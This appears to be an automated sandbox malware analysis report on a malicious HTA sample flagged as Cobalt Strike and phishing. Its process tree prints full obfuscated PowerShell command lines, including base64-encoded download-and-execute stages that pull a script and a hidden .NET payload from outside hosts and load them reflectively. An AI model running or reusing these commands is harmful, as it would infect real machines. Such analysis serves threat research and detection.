Edit tour
Windows
Analysis Report
greatthingetniretimewithgoodnewgivenwhichgiventhnseethebest.hta
Overview
General Information
| Sample name: | greatthingetniretimewithgoodnewgivenwhichgiventhnseethebest.hta |
| Analysis ID: | 1564308 |
| MD5: | af5174392d590a5b515ab1dcacfc79c6 |
| SHA1: | 28697fe6ef17f0a714e89505495d60e10b40b8f3 |
| SHA256: | a09dc85606cb624d221defe49d7df873af0064acb6e81d14ba646c1aa38936ee |
| Tags: | htauser-abuse_ch |
| Infos: |   |
 | |
Detection
Cobalt Strike, HTMLPhisher
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Detected Cobalt Strike Beacon
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected HtmlPhish44
Yara detected Powershell decode and execute
Yara detected Powershell download and execute
AI detected suspicious sample
Bypasses PowerShell execution policy
Found suspicious powershell code related to unpacking or dynamic code loading
Loading BitLocker PowerShell Module
Obfuscated command line found
PowerShell case anomaly found
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious PowerShell Parameter Substring
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript starts Powershell (via cmd or directly)
Compiles C# or VB.Net code
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Drops PE files
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Searches for the Microsoft Outlook file path
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
mshta.exe (PID: 6848 cmdline: mshta.exe "C:\Users\ user\Deskt op\greatth ingetniret imewithgoo dnewgivenw hichgivent hnseethebe st.hta" MD5: 06B02D5C097C7DB1F109749C45F3F505) 
powershell.exe (PID: 6248 cmdline: "C:\Window s\SYsTEM32 \WiNdoWspO wERsHEll\V 1.0\pOweRS HELL.eXE" "pOwERshEL l.exE -eX ByPasS -NOP -w 1 -C deViCEcr EDEnTiAlde PloYMeNT.e XE ; IeX ($(IEx('[S YstEm.TExt .ENcODING] '+[Char]58 +[cHAr]0X3 A+'Utf8.ge TSTRInG([s YsteM.cOnV ert]'+[cHA r]0X3A+[CH aR]0x3A+'F roMbaSE64S TRINg('+[c HAr]0x22+' JEJ5byAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC A9ICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgIGFE ZC1UeVBFIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgIC1NRU1C RVJEZUZpTk lUSU9OICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICdbRGxsSW 1wb3J0KCJV ckxNb24uZE xMIiwgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg Q2hhclNldC A9IENoYXJT ZXQuVW5pY2 9kZSldcHVi bGljIHN0YX RpYyBleHRl cm4gSW50UH RyIFVSTERv d25sb2FkVG 9GaWxlKElu dFB0ciAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC BqbCxzdHJp bmcgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgeU 56eG4sc3Ry aW5nICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIH RZdVksdWlu dCAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICBRal VXbHdkYUNa VyxJbnRQdH IgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgd0Ep OycgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgLU 5hTUUgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ImNUbiIgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgLW5hbUVz UEFDZSAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC B5cWFMV2Zt cCAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAtUG Fzc1RocnU7 ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICRCeW 86OlVSTERv d25sb2FkVG 9GaWxlKDAs Imh0dHA6Ly 8yMy45NS4x MjguMjE1Lz IyNi9zZWV0 aGVwb3NzaW JsZXRoaW5n c2ZvcmVudG lyZXRpbWV0 b2dpdmVtZW Jlc3QudElG IiwiJEVOdj pBUFBEQVRB XHNlZXRoZX Bvc3NpYmxl dGhpbmdzZm 9yZW50aXJl dGltZXRvZ2 l2ZW1lYmVz dC52QnMiLD AsMCk7c3RB clQtc0xlZX AoMyk7SUkg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgIiRlTn Y6QVBQREFU QVxzZWV0aG Vwb3NzaWJs ZXRoaW5nc2 ZvcmVudGly ZXRpbWV0b2 dpdmVtZWJl c3QudkJzIg =='+[cHar] 34+'))'))) " MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) 
conhost.exe (PID: 6204 cmdline: C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 2336 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -eX ByPasS -NOP -w 1 -C deViCE crEDEnTiAl dePloYMeNT .eXE MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) 
csc.exe (PID: 2188 cmdline: "C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\csc .exe" /noc onfig /ful lpaths @"C :\Users\us er\AppData \Local\Tem p\w0uathue \w0uathue. cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D) - cvtres.exe (PID: 4228 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\cvtr es.exe /NO LOGO /READ ONLY /MACH INE:IX86 " /OUT:C:\Us ers\user\A ppData\Loc al\Temp\RE S2022.tmp" "c:\Users \user\AppD ata\Local\ Temp\w0uat hue\CSC6F7 F1D769E649 D6AA11CFF4 BFABFB3.TM P" MD5: 70D838A7DC5B359C3F938A71FAD77DB0) 
wscript.exe (PID: 2044 cmdline: "C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\seeth epossiblet hingsforen tiretimeto givemebest .vBs" MD5: FF00E0480075B095948000BDC66E81F0) - powershell.exe (PID: 7064 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ Codigo = ' KCgnaEdhaW 1hZ2VVcmwg PSBEZndodH RwczovLzMx MDUuZmlsZS crJ21haWwu Y29tL2FwaS 8nKydmaWxl L2dldD9maS crJ2xla2V5 PXNoVFAnKy dIYkNQWDhv LWxPJysndE NxSExHNl8w eEN5LXhsNH RueGxBVmJR OTUtZHZpVE s1Y0FSYU5k UWpiYjNtZX hmd1F6S21U WGcmc2tpcH JlZz10cnVl JnBrX3ZpZD 1lMDEwOTYz OGM5YmZiOT U3MTczMjUz MTMwOWI1Zm Y3YyBEZnc7 aEdhd2ViQ2 xpZW50ICcr Jz0gTmV3LU 9iamVjdCBT eXN0ZW0uTm V0LldlYkNs aWVudDtoR2 EnKydpbWFn ZUJ5dGVzID 0gaEdhd2Vi Q2xpZW50Lk QnKydvd25s b2FkJysnRG F0YShoR2Fp bWFnZVVybC k7aEdhaScr J21hZ2VUZX h0ID0gW1N5 c3RlbS5UZX h0LkVuY29k aW5nXTo6VV RGOC5HZXRT dHJpbmcoaE dhaW1hZ2VC eXRlcyk7aE dhc3RhcnRG bGFnID0gRG Z3PDxCQVNF NjRfU1RBUl Q+PkRmdzto R2FlbmRGbG FnID0gRGYn Kyd3PDxCQV NFNjRfRU5E Pj5EZnc7aE dhc3RhcnRJ bmRleCA9IG hHYWltYWdl VGV4dCcrJy 5JbmRleE9m KGhHYXN0YX J0RmxhZyk7 aEdhZW5kSW 5kZXggPSBo R2FpbWFnZV RleHQuSW5k ZXhPZicrJy hoR2FlbmRG bGFnKTtoR2 FzdGFydElu ZGV4IC1nZS AwIC1hbmQg aEdhZW5kSW 5kZXggLWd0 IGhHYXMnKy d0YXJ0SW5k ZXg7aEdhc3 RhcnRJbmRl eCArPSBoR2 FzdGFydEYn KydsYWcuTG VuZ3RoO2hH YWJhc2U2NE xlbmd0aCA9 IGhHYWVuZE luZGV4IC0g aEdhc3Rhci crJ3RJbmRl eDtoR2FiYX NlNjRDb21t YW5kID0gaE dhaW1hZ2VU ZXh0LlN1Yn N0cmluZyho R2FzdGEnKy dydEluZGV4 LCBoR2FiYX NlNjRMZW5n dGgpO2hHYW Jhc2U2NFJl dmVyc2VkID 0gLWpvaW4g KGhHYWJhc2 U2NENvbW1h bmQuVG9DaG FyQXJyYXko KSBOOVkgRm 9yRWFjaC1P YmplY3Qgey BoR2FfIH0p Wy0xLi4tKG hHYWJhc2U2 NENvbW1hbm QuTGVuZ3Ro KV07aEdhY2 9tbWFuZEJ5 dGVzID0gW1 N5c3RlbS5D b252ZXJ0XT o6RicrJ3Jv bUJhc2U2NF N0cmluZyho R2FiJysnYS crJ3NlNjRS ZXZlcnNlZC k7aEdhbG9h ZGVkQXNzZW 1ibHkgPSBb U3lzdGVtLl JlZmxlY3Rp b24uQXNzZW 1ibHldOjpM b2FkKGhHYW NvbW1hbmRC eXRlcyk7aE dhdmFpTScr J2V0aG9kID 0gW2RubGli LklPJysnLk hvbWVdLkdl dE1ldGhvZC gnKydEZndW QUlEZncpO2 hHYXZhaU1l dGhvZC5Jbn Zva2UoaEdh bnVsbCwgQC hEZnd0eHQu UlRDQ0NSVi 82MjIvNTEy LjgyMS41OS 4zMi8vOnB0 dGhEZncsIE Rmd2Rlc2F0 aXZhZG9EZn csIERmd2Rl c2F0aXZhZG 9EZncsIERm d2Rlc2F0aX ZhZG9EZncs IERmd2FzcG 5ldF9jb21w aWxlckRmdy wgRGZ3ZGVz YXRpdmFkb0 RmdywgRGZ3 ZGVzYXRpdi crJ2Fkbycr J0RmdyxEZn dkZXNhdGl2 YWRvRGZ3LE Rmd2Rlc2F0 aXZhZG9EZn csRGZ3ZGVz YXRpdmFkb0 RmdyxEZndk ZXNhJysndG l2YWRvRGZ3 LERmd2Rlc2 F0aXZhZG9E ZncsRGZ3MU RmdyxEZndk JysnZXNhdG l2YWRvRGZ3 KSk7JykgIC 1jUkVwTEFD RShbQ2hhcl 02OCtbQ2hh cl0xMDIrW0 NoYXJdMTE5 KSxbQ2hhcl 0zOS1jUkVw TEFDRSAgJ0 45WScsW0No YXJdMTI0LV JlUExBQ0Ug IChbQ2hhcl 0xMDQrW0No YXJdNzErW0 NoYXJdOTcp LFtDaGFyXT M2KXwgLigg JGVOdjpjb2 1zUEVjWzQs MjQsMjVdLU pvSW4nJyk= ';$OWjuxd = [system. Text.encod ing]::UTF8 .GetString ([system.C onvert]::F rombase64S tring($cod igo));powe rshell.exe -windowst yle hidden -executio npolicy by pass -NoPr ofile -com mand $OWju xD MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - conhost.exe (PID: 7128 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 2492 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -windowsty le hidden -execution policy byp ass -NoPro file -comm and "(('hG aimageUrl = Dfwhttps ://3105.fi le'+'mail. com/api/'+ 'file/get? fi'+'lekey =shTP'+'Hb CPX8o-lO'+ 'tCqHLG6_0 xCy-xl4tnx lAVbQ95-dv iTK5cARaNd Qjbb3mexfw QzKmTXg&sk ipreg=true &pk_vid=e0 109638c9bf b957173253 1309b5ff7c Dfw;hGawe bClient '+ '= New-Obj ect System .Net.WebCl ient;hGa'+ 'imageByte s = hGaweb Client.D'+ 'ownload'+ 'Data(hGai mageUrl);h Gai'+'mage Text = [Sy stem.Text. Encoding]: :UTF8.GetS tring(hGai mageBytes) ;hGastartF lag = Dfw< <BASE64_ST ART>>Dfw;h GaendFlag = Df'+'w<< BASE64_END >>Dfw;hGas tartIndex = hGaimage Text'+'.In dexOf(hGas tartFlag); hGaendInde x = hGaima geText.Ind exOf'+'(hG aendFlag); hGastartIn dex -ge 0 -and hGaen dIndex -gt hGas'+'ta rtIndex;hG astartInde x += hGast artF'+'lag .Length;hG abase64Len gth = hGae ndIndex - hGastar'+' tIndex;hGa base64Comm and = hGai mageText.S ubstring(h Gasta'+'rt Index, hGa base64Leng th);hGabas e64Reverse d = -join (hGabase64 Command.To CharArray( ) N9Y ForE ach-Object { hGa_ }) [-1..-(hGa base64Comm and.Length )];hGacomm andBytes = [System.C onvert]::F '+'romBase 64String(h Gab'+'a'+' se64Revers ed);hGaloa dedAssembl y = [Syste m.Reflecti on.Assembl y]::Load(h GacommandB ytes);hGav aiM'+'etho d = [dnlib .IO'+'.Hom e].GetMeth od('+'DfwV AIDfw);hGa vaiMethod. Invoke(hGa null, @(Df wtxt.RTCCC RV/622/512 .821.59.32 //:ptthDfw , Dfwdesat ivadoDfw, Dfwdesativ adoDfw, Df wdesativad oDfw, Dfwa spnet_comp ilerDfw, D fwdesativa doDfw, Dfw desativ'+' ado'+'Dfw, Dfwdesativ adoDfw,Dfw desativado Dfw,Dfwdes ativadoDfw ,Dfwdesa'+ 'tivadoDfw ,Dfwdesati vadoDfw,Df w1Dfw,Dfwd '+'esativa doDfw));') -cREpLACE ([Char]68+ [Char]102+ [Char]119) ,[Char]39- cREpLACE ' N9Y',[Char ]124-RePLA CE ([Char] 104+[Char] 71+[Char]9 7),[Char]3 6)| .( $eN v:comsPEc[ 4,24,25]-J oIn'')" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
- cleanup
⊘No configs have been found
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_HtmlPhish_44 | Yara detected HtmlPhish_44 | Joe Security |
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
| |
| JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
| INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
|
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_PowershellDecodeAndExecute | Yara detected Powershell decode and execute | Joe Security | ||
| JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security |
System Summary |   |
|---|
| Source: | Author: Florian Roth (Nextron Systems): | ||